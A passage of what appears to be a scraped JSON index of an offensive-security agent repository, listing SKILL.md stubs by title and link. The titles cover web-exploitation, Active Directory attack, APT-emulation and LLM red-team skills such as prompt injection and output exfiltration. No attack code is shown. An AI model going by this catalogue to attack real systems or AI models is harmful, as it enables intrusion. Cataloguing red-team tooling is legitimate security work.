GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/improper-output-handling/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/idor/SKILL.md":"# idor\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/idor/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/idor/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/excessive-agency/SKILL.md":"# excessive-agency\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/excessive-agency/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/excessive-agency/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/deserialization/SKILL.md":"# deserialization\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/deserialization/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/deserialization/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/data-and-model-poisoning/SKILL.md":"# data-and-model-poisoning\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/data-and-model-poisoning/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/data-and-model-poisoning/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/command-injection/SKILL.md":"# command-injection\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/command-injection/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/command-injection/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/bounty-hunting/SKILL.md":"# bounty-hunting\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/bounty-hunting/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/bounty-hunting/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/auth-bypass/SKILL.md":"# auth-bypass\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/auth-bypass/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/auth-bypass/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/adversarial-ml-evasion/SKILL.md":"# adversarial-ml-evasion\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/adversarial-ml-evasion/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/adversarial-ml-evasion/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/sql-injection/SKILL.md":"# sql-injection\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/sql-injection/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/sql-injection/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/ssrf/SKILL.md":"# ssrf\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/ssrf/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/ssrf/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/ssti/SKILL.md":"# ssti\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/ssti/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/ssti/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/supply-chain/SKILL.md":"# supply-chain\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/supply-chain/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/supply-chain/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/system-prompt-leakage/SKILL.md":"# system-prompt-leakage\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/system-prompt-leakage/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/system-prompt-leakage/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/ti-anyrun-lookup/SKILL.md":"# ti-anyrun-lookup\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/ti-anyrun-lookup/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/ti-anyrun-lookup/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/ti-ioc-extraction/SKILL.md":"# ti-ioc-extraction\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/ti-ioc-extraction/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/ti-ioc-extraction/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/ti-yara-hunting/SKILL.md":"# ti-yara-hunting\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/ti-yara-hunting/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/ti-yara-hunting/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/trust-boundary/SKILL.md":"# trust-boundary\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/trust-boundary/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/trust-boundary/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/unbounded-consumption/SKILL.md":"# unbounded-consumption\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/unbounded-consumption/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/unbounded-consumption/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/vector-and-embedding-weaknesses/SKILL.md":"# vector-and-embedding-weaknesses\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/vector-and-embedding-weaknesses/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/vector-and-embedding-weaknesses/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/xxe/SKILL.md":"# xxe\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/xxe/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/xxe/SKILL.md)","packages/decepticon/decepticon/skills/standard/ad/ntlm-relay/SKILL.md":"# ntlm-relay\n\nPath: `packages/decepticon/decepticon/skills/standard/ad/ntlm-relay/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/ad/ntlm-relay/SKILL.md)","packages/decepticon/decepticon/skills/standard/ad/netexec/SKILL.md":"# netexec\n\nPath: `packages/decepticon/decepticon/skills/standard/ad/netexec/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/ad/netexec/SKILL.md)","packages/decepticon/decepticon/skills/standard/ad/laps/SKILL.md":"# laps\n\nPath: `packages/decepticon/decepticon/skills/standard/ad/laps/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/ad/laps/SKILL.md)","packages/decepticon/decepticon/skills/standard/ad/kerberoasting/SKILL.md":"# kerberoasting\n\nPath: `packages/decepticon/decepticon/skills/standard/ad/kerberoasting/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/ad/kerberoasting/SKILL.md)","packages/decepticon/decepticon/skills/standard/ad/dcsync/SKILL.md":"# dcsync\n\nPath: `packages/decepticon/decepticon/skills/standard/ad/dcsync/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/ad/dcsync/SKILL.md)","packages/decepticon/decepticon/skills/standard/ad/coercer/SKILL.md":"# coercer\n\nPath: `packages/decepticon/decepticon/skills/standard/ad/coercer/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/ad/coercer/SKILL.md)","packages/decepticon/decepticon/skills/standard/ad/certipy-esc-chain/SKILL.md":"# certipy-esc-chain\n\nPath: `packages/decepticon/decepticon/skills/standard/ad/certipy-esc-chain/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/ad/certipy-esc-chain/SKILL.md)","packages/decepticon/decepticon/skills/standard/ad/bloodhound-query/SKILL.md":"# bloodhound-query\n\nPath: `packages/decepticon/decepticon/skills/standard/ad/bloodhound-query/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/ad/bloodhound-query/SKILL.md)","packages/decepticon/decepticon/skills/standard/ad/bloodhound-bhce/SKILL.md":"# bloodhound-bhce\n\nPath: `packages/decepticon/decepticon/skills/standard/ad/bloodhound-bhce/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/ad/bloodhound-bhce/SKILL.md)","packages/decepticon/decepticon/skills/standard/ad/asrep-roasting/SKILL.md":"# asrep-roasting\n\nPath: `packages/decepticon/decepticon/skills/standard/ad/asrep-roasting/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/ad/asrep-roasting/SKILL.md)","packages/decepticon/decepticon/skills/standard/ad/adcs-esc1/SKILL.md":"# adcs-esc1\n\nPath: `packages/decepticon/decepticon/skills/standard/ad/adcs-esc1/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/ad/adcs-esc1/SKILL.md)","packages/decepticon/decepticon/skills/shared/adversary-emulation/sidewinder/SKILL.md":"# sidewinder\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/sidewinder/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/sidewinder/SKILL.md)","packages/decepticon/decepticon/skills/shared/adversary-emulation/scattered-spider/SKILL.md":"# scattered-spider\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/scattered-spider/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/scattered-spider/SKILL.md)","packages/decepticon/decepticon/skills/shared/adversary-emulation/sandworm-team/SKILL.md":"# sandworm-team\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/sandworm-team/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/sandworm-team/SKILL.md)","packages/decepticon/decepticon/skills/shared/adversary-emulation/salt-typhoon/SKILL.md":"# salt-typhoon\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/salt-typhoon/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/salt-typhoon/SKILL.md)","packages/decepticon/decepticon/skills/shared/adversary-emulation/pink-sandstorm/SKILL.md":"# pink-sandstorm\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/pink-sandstorm/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/pink-sandstorm/SKILL.md)","packages/decepticon/decepticon/skills/shared/adversary-emulation/patchwork/SKILL.md":"# patchwork\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/patchwork/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/patchwork/SKILL.md)","packages/decepticon/decepticon/skills/shared/adversary-emulation/mustang-panda/SKILL.md":"# mustang-panda\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/mustang-panda/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/mustang-panda/SKILL.md)","packages/decepticon/decepticon/skills/shared/adversary-emulation/muddywater/SKILL.md":"# muddywater\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/muddywater/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/muddywater/SKILL.md)","packages/decepticon/decepticon/skills/shared/adversary-emulation/lazarus-group/SKILL.md":"# lazarus-group\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/lazarus-group/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/lazarus-group/SKILL.md)","packages/decepticon/decepticon/skills/shared/adversary-emulation/kimsuky/SKILL.md":"# kimsuky\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/kimsuky/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/kimsuky/SKILL.md)","packages/decepticon/decepticon/skills/shared/adversary-emulation/fin7-carbanak/SKILL.md":"# fin7-carbanak\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/fin7-carbanak/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/fin7-carbanak/SKILL.md)","packages/decepticon/decepticon/skills/shared/adversary-emulation/dark-caracal/SKILL.md":"# dark-caracal\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/dark-caracal/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/dark-caracal/SKILL.md)","packages/decepticon/decepticon/skills/shared/adversary-emulation/apt41-double-dragon/SKILL.md":"# apt41-double-dragon\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/apt41-double-dragon/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/apt41-double-dragon/SKILL.md)","packages/decepticon/decepticon/skills/shared/adversary-emulation/apt37-reaper/SKILL.md":"# apt37-reaper\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/apt37-reaper/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/apt37-reaper/SKILL.md)","packages/decepticon/decepticon/skills/shared/adversary-emulation/apt36-transparent-tribe/SKILL.md":"# apt36-transparent-tribe\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/apt36-transparent-tribe/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/apt36-transparent-tribe/SKILL.md)","packages/decepticon/decepticon/skills/shared/adversary-emulation/apt34-oilrig/SKILL.md":"# apt34-oilrig\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/apt34-oilrig/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/apt34-oilrig/SKILL.md)","packages/decepticon/decepticon/skills/shared/adversary-emulation/apt33-elfin/SKILL.md":"# apt33-elfin\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/apt33-elfin/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/apt33-elfin/SKILL.md)","packages/decepticon/decepticon/skills/shared/adversary-emulation/apt29-cozy-bear/SKILL.md":"# apt29-cozy-bear\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/apt29-cozy-bear/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/apt29-cozy-bear/SKILL.md)","packages/decepticon/decepticon/skills/shared/adversary-emulation/apt28-fancy-bear/SKILL.md":"# apt28-fancy-bear\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/apt28-fancy-bear/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/apt28-fancy-bear/SKILL.md)","packages/decepticon/decepticon/skills/shared/adversary-emulation/apt10-stone-panda/SKILL.md":"# apt10-stone-panda\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/apt10-stone-panda/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/apt10-stone-panda/SKILL.md)","packages/decepticon/decepticon/skills/shared/adversary-emulation/turla/SKILL.md":"# turla\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/turla/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/turla/SKILL.md)","packages/decepticon/decepticon/skills/shared/adversary-emulation/volt-typhoon/SKILL.md":"# volt-typhoon\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/volt-typhoon/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/volt-typhoon/SKILL.md)","packages/decepticon/decepticon/skills/plugins/verifier/seven-question-gate/SKILL.md":"# seven-question-gate\n\nPath: `packages/decepticon/decepticon/skills/plugins/verifier/seven-question-gate/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/verifier/seven-question-gate/SKILL.md)","packages/decepticon/decepticon/skills/plugins/verifier/bounty-report/SKILL.md":"# bounty-report\n\nPath: `packages/decepticon/decepticon/skills/plugins/verifier/bounty-report/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/verifier/bounty-report/SKILL.md)","packages/decepticon/decepticon/skills/plugins/llm-redteam/t01-prompt-injection/SKILL.md":"# t01-prompt-injection\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t01-prompt-injection/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t01-prompt-injection/SKILL.md)","packages/decepticon/decepticon/skills/plugins/llm-redteam/t02-linguistic-evasion/SKILL.md":"# t02-linguistic-evasion\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t02-linguistic-evasion/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t02-linguistic-evasion/SKILL.md)","packages/decepticon/decepticon/skills/plugins/llm-redteam/t03-reasoning-exploit/SKILL.md":"# t03-reasoning-exploit\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t03-reasoning-exploit/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t03-reasoning-exploit/SKILL.md)","packages/decepticon/decepticon/skills/plugins/llm-redteam/t04-memory-manipulation/SKILL.md":"# t04-memory-manipulation\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t04-memory-manipulation/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t04-memory-manipulation/SKILL.md)","packages/decepticon/decepticon/skills/plugins/llm-redteam/t05-api-exploitation/SKILL.md":"# t05-api-exploitation\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t05-api-exploitation/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t05-api-exploitation/SKILL.md)","packages/decepticon/decepticon/skills/plugins/llm-redteam/t06-training-poisoning/SKILL.md":"# t06-training-poisoning\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t06-training-poisoning/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t06-training-poisoning/SKILL.md)","packages/decepticon/decepticon/skills/plugins/llm-redteam/t07-output-exfil/SKILL.md":"# t07-output-exfil\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t07-output-exfil/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t07-output-exfil/SKILL.md)","packages/decepticon/decepticon/skills/plugins/llm-redteam/t08-deception/SKILL.md":"# t08-deception\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t08-deception/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t08-deception/SKILL.md)","packages/decepticon/decepticon/skills/plugins/llm-redteam/t09-multimodal/SKILL.md":"# t09-multimodal\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t09-multimodal/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t09-multimodal/SKILL.md)","packages/decepticon/decepticon/skills/plugins/llm-redteam/t10-confidentiality-breach/SKILL.md":"# t10-confidentiality-breach\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t10-confidentiality-breach/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t10-confidentiality-breach/SKILL.md)","packages/decepticon/decepticon/skills/plugins/llm-redteam/t11-agentic-exploit/SKILL.md":"# t11-agentic-exploit\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t11-agentic-exploit/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t11-agentic-exploit/SKILL.md)","packages/decepticon/decepticon/skills/plugins/llm-redteam/t12-rag-poisoning/SKILL.md":"# t12-rag-poisoning\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t12-rag-poisoning/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t12-rag-poisoning/SKILL.md)","packages/decepticon/decepticon/skills/plugins/llm-redteam/t13-supply-chain/SKILL.md":"# t13-supply-chain\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t13-supply-chain/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t13-supply-chain/SKILL.md)","packages/decepticon/decepticon/skills/plugins/llm-redteam/t14-infra-warfare/SKILL.md":"# t14-infra-warfare\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t14-infra-warfare/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t14-infra-warfare/SKILL.md)","packages/decepticon/decepticon/skills/plugins/llm-redteam/t15-human-ai-coupling/SKILL.md":"# t15-human-ai-coupling\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t15-human-ai-coupling/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t15-human-ai-coupling/SKILL.md)","packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/SKILL.md":"# emulation\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/SKILL.md)","packages/decepticon/decepticon/skills/standard/recon/web-recon/discovery/SKILL.md":"# discovery\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/web-recon/discovery/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/web-recon/discovery/SKILL.md)","packages/decepticon/decepticon/skills/standard/recon/web-recon/cookie-audit/SKILL.md":"# cookie-audit\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/web-recon/cookie-audit/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/web-recon/cookie-audit/SKILL.md)","packages/decepticon/decepticon/skills/standard/recon/web-recon/cms-scanning/SKILL.md":"# cms-scanning\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/web-recon/cms-scanning/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/web-recon/cms-scanning/SKILL.md)","packages/decepticon/decepticon/skills/standard/recon/web-recon/auth-mapping/SKILL.md":"# auth-mapping\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/web-recon/auth-mapping/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/web-recon/auth-mapping/SKILL.md)","packages/decepticon/decepticon/skills/standard/recon/web-recon/api-enumeration/SKILL.md":"# api-enumeration\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/web-recon/api-enumeration/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/web-recon/api-enumeration/SKILL.md)","packages/decepticon/decepticon/skills/standard/recon/web-recon/subdomain-takeover/SKILL.md":"# subdomain-takeover\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/web-recon/subdomain-takeover/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/web-recon/subdomain-takeover/SKILL.md)","packages/decepticon/decepticon/skills/standard/recon/web-recon/waf-detection/SKILL.md":"# waf-detection\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/web-recon/waf-detection/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/web-recon/waf-detection/SKILL.md)","packages/decepticon/decepticon/skills/standard/post-exploit/c2/mythic/SKILL.md":"# mythic\n\nPath: `packages/decepticon/decepticon/skills/standard/post-exploit/c2/mythic/SKILL.md`\n\n[View Raw Content on 